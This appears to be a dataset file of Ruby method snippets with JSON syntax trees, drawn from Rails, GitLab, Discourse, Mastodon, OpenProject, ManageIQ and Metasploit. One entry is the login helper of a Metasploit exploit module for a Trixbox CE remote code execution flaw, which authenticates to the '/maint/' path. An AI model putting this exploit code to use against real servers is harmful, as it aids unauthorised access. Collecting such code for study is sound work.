{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":132,"raw_source":"def initialize(event, callback)\n          @event = event\n          @callback = callback\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]}","id":"5124d991-bbc0-4290-ae01-bf5b00ff32ba"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/generic_object_definition/import_export.rb","start_line":7,"raw_source":"def import_from_hash(god, options = nil)\n      raise _(\"No Generic Object Definition to Import\") if god.nil?\n      if god[\"name\"].blank? || god[\"properties\"].blank?\n        raise _(\"Incorrect format.\")\n      end\n\n      existing_god = GenericObjectDefinition.find_by(:name => god[\"name\"])\n      if existing_god.present?\n        if options[:overwrite]\n          # if generic object definition exists, overwrite its content\n          msg = \"Overwriting Generic Object Definition: [#{existing_god.name}]\"\n          existing_god.attributes = god\n          result = {\n            :message => \"Replaced Generic Object Definition: [#{god[\"name\"]}]\",\n            :level   => :info,\n            :status  => :update\n          }\n        else\n          # if generic object definition exists, do not overwrite\n          msg = \"Skipping Generic Object Definition (already in DB): [#{existing_god.name}]\"\n          result = {:message => msg, :level => :error, :status => :skip}\n        end\n      else\n        # create new generic object definition\n        msg = \"Importing Generic Object Definition: [#{god[\"name\"]}]\"\n        existing_god = GenericObjectDefinition.new(god)\n        result = {\n          :message => \"Imported Generic Object Definition: [#{god[\"name\"]}]\",\n          :level   => :info,\n          :status  => :add\n        }\n      end\n      _log.info(msg)\n\n      if result[:status].in?([:add, :update])\n        existing_god.save!\n        _log.info(\"- Completed.\")\n      end\n\n      return god, result\n    end","complexity_score":48.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"god\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"No Generic Object Definition to Import\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Incorrect format.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"existing_god\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericObjectDefinition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_god\"]},\"present?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"overwrite\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Overwriting Generic Object Definition: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_god\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_god\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"god\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Replaced Generic Object Definition: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping Generic Object Definition (already in DB): [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_god\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"skip\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Importing Generic Object Definition: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_god\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericObjectDefinition\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"god\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Imported Generic Object Definition: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"add\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"add\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_god\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"- Completed.\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"god\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"ee4c9554-c72e-4812-8b57-b4102f282549"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/exclusive_lease_guard.rb","start_line":20,"raw_source":"def try_obtain_lease\n    lease = exclusive_lease.try_obtain\n\n    Gitlab::Instrumentation::ExclusiveLock.increment_requested_count\n\n    unless lease\n      log_lease_taken\n      return\n    end\n\n    begin\n      lease_start_time = Time.current\n      yield lease\n    ensure\n      Gitlab::Instrumentation::ExclusiveLock.add_hold_duration(Time.current - lease_start_time)\n      release_lease(lease) if lease_release?\n    end\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_obtain_lease\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lease\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclusive_lease\"]},\"try_obtain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"ExclusiveLock\"]},\"increment_requested_count\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lease\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_lease_taken\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lease_start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lease\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"ExclusiveLock\"]},\"add_hold_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"lease_start_time\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lease_release?\"]},{\"type\":\"send\",\"children\":[null,\"release_lease\",{\"type\":\"lvar\",\"children\":[\"lease\"]}]},null]}]}]}]}]}]}","id":"0ae8e961-f9ab-4cfa-bdb2-91a01eb523e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/permission_button_component.rb","start_line":92,"raw_source":"def tooltip_wrapper_classes\n      return [] if strategy.manageable?\n\n      [\"tooltip--left\"]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tooltip_wrapper_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"manageable?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tooltip--left\"]}]}]}]}","id":"dfbbb5a5-462c-4e5f-b73e-c4431e804c66"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses/quotes_controller.rb","start_line":53,"raw_source":"def paginated_quotes\n    @status.quotes.accepted.paginate_by_max_id(\n      limit_param(DEFAULT_STATUSES_LIMIT),\n      params[:max_id],\n      params[:since_id]\n    )\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"paginated_quotes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"quotes\"]},\"accepted\"]},\"paginate_by_max_id\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES_LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"since_id\"]}]}]}]}","id":"44373b17-6ea9-4b94-ac35-993f66beaac7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250718183474_backfill_labels_with_group_project_missing.rb","start_line":10,"raw_source":"def up\n    each_batch(\n      :labels,\n      of: BATCH_SIZE,\n      scope: ->(labels) { labels.where('group_id IS NULL AND project_id IS NULL') }\n    ) do |batch|\n      connection.execute(\n        <<~SQL\n          UPDATE\n            \"labels\"\n          SET\n            \"organization_id\" = 1\n          WHERE\n            \"labels\".\"id\" IN (#{batch.select(:id).limit(BATCH_SIZE).to_sql})\n        SQL\n      )\n    end\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_batch\",{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"labels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"where\",{\"type\":\"str\",\"children\":[\"group_id IS NULL AND project_id IS NULL\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"labels\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"organization_id\\\" = 1\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"labels\\\".\\\"id\\\" IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}]}","id":"b153808e-ae51-4bb6-82bd-0e28fe21170c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/post_guardian.rb","start_line":260,"raw_source":"def can_recover_post?(post)\n    return false unless post\n\n    # PERF, vast majority of the time topic will not be deleted\n    topic = (post.topic || Topic.with_deleted.find(post.topic_id)) if post.topic_id\n    return true if can_moderate_topic?(topic) && !!post.deleted_at\n\n    if is_my_own?(post)\n      if (\n           SiteSetting.max_post_deletions_per_minute < 1 ||\n             SiteSetting.max_post_deletions_per_day < 1\n         )\n        return false\n      end\n      return true if post.user_deleted && !post.deleted_at\n    end\n\n    false\n  end","complexity_score":34.65,"ast_json":"{\"type\":\"def\",\"children\":[\"can_recover_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"with_deleted\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_moderate_topic?\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"deleted_at\"]},\"!\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_my_own?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_post_deletions_per_minute\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_post_deletions_per_day\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user_deleted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"deleted_at\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"cf469543-1762-410b-9ccb-e5c8e01fac87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bitbucket_controller.rb","start_line":95,"raw_source":"def incompatible_repos\n    bitbucket_repos.reject(&:valid?)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"incompatible_repos\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bitbucket_repos\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"61010977-efee-441d-bd1d-f769df605005"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/encryption_key.rb","start_line":28,"raw_source":"def decode(input)\n            case input\n            when String\n              decode_string(input)\n            when OpenSSL::ASN1::Sequence\n              decode_asn1(input)\n            else\n              raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncryptionKey, invalid input'\n            end\n\n            self\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"decode_string\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode EncryptionKey, invalid input\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"1f2097fc-26ab-4c2c-9b7b-114c63793b1b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/controllers/application_controller_spec.rb","start_line":161,"raw_source":"def index\n        op_handle_error \"fail\"\n\n        redirect_to root_path\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"op_handle_error\",{\"type\":\"str\",\"children\":[\"fail\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"root_path\"]}]}]}]}","id":"d5af327d-13fd-4474-864b-9972b786bd82"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_group_serializer.rb","start_line":15,"raw_source":"def serialize_dialog_fields(dialog_fields, all_attributes)\n    dialog_fields.map do |dialog_field|\n      @dialog_field_serializer.serialize(dialog_field, all_attributes)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_dialog_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog_fields\"]},{\"type\":\"arg\",\"children\":[\"all_attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dialog_field_serializer\"]},\"serialize\",{\"type\":\"lvar\",\"children\":[\"dialog_field\"]},{\"type\":\"lvar\",\"children\":[\"all_attributes\"]}]}]}]}","id":"1a9b38af-cc2f-49bf-9610-4c5fe14ccdc8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb","start_line":105,"raw_source":"def login(user, pass, _opts = {})\n    uri = normalize_uri(target_uri.path, '/maint/')\n    print_status(\"#{peer} - Authenticating using \\\"#{user}:#{pass}\\\" credentials...\")\n    res = send_request_cgi({\n      'uri' => uri,\n      'method' => 'GET',\n      'authorization' => basic_auth(user, pass)\n    })\n    unless res\n      # We return nil here, as callers should handle this case\n      # specifically with their own unique error message.\n      return nil\n    end\n\n    if res.code == 200\n      print_good(\"#{peer} - Authenticated successfully.\")\n    elsif res.code == 401\n      print_error(\"#{peer} - Authentication failed.\")\n    else\n      print_error(\"#{peer} - The host responded with an unexpected status code: #{res.code}.\")\n    end\n    return res\n  rescue ::Rex::ConnectionError\n    print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')\n    return nil\n  end","complexity_score":35.13,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/maint/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authenticating using \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"\\\" credentials...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authenticated successfully.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication failed.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - The host responded with an unexpected status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Caught a Rex::ConnectionError in login() method. Connection failed.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]}","id":"8e66b1d0-d3b3-42b6-b9af-ec1f5ff3f65f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":141,"raw_source":"def by_organization(tokens)\n    return tokens unless params[:organization]\n\n    tokens.for_organization(params[:organization])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_organization\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"for_organization\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization\"]}]}]}]}]}","id":"cceef021-df82-4f93-a77a-8b07f8544763"}
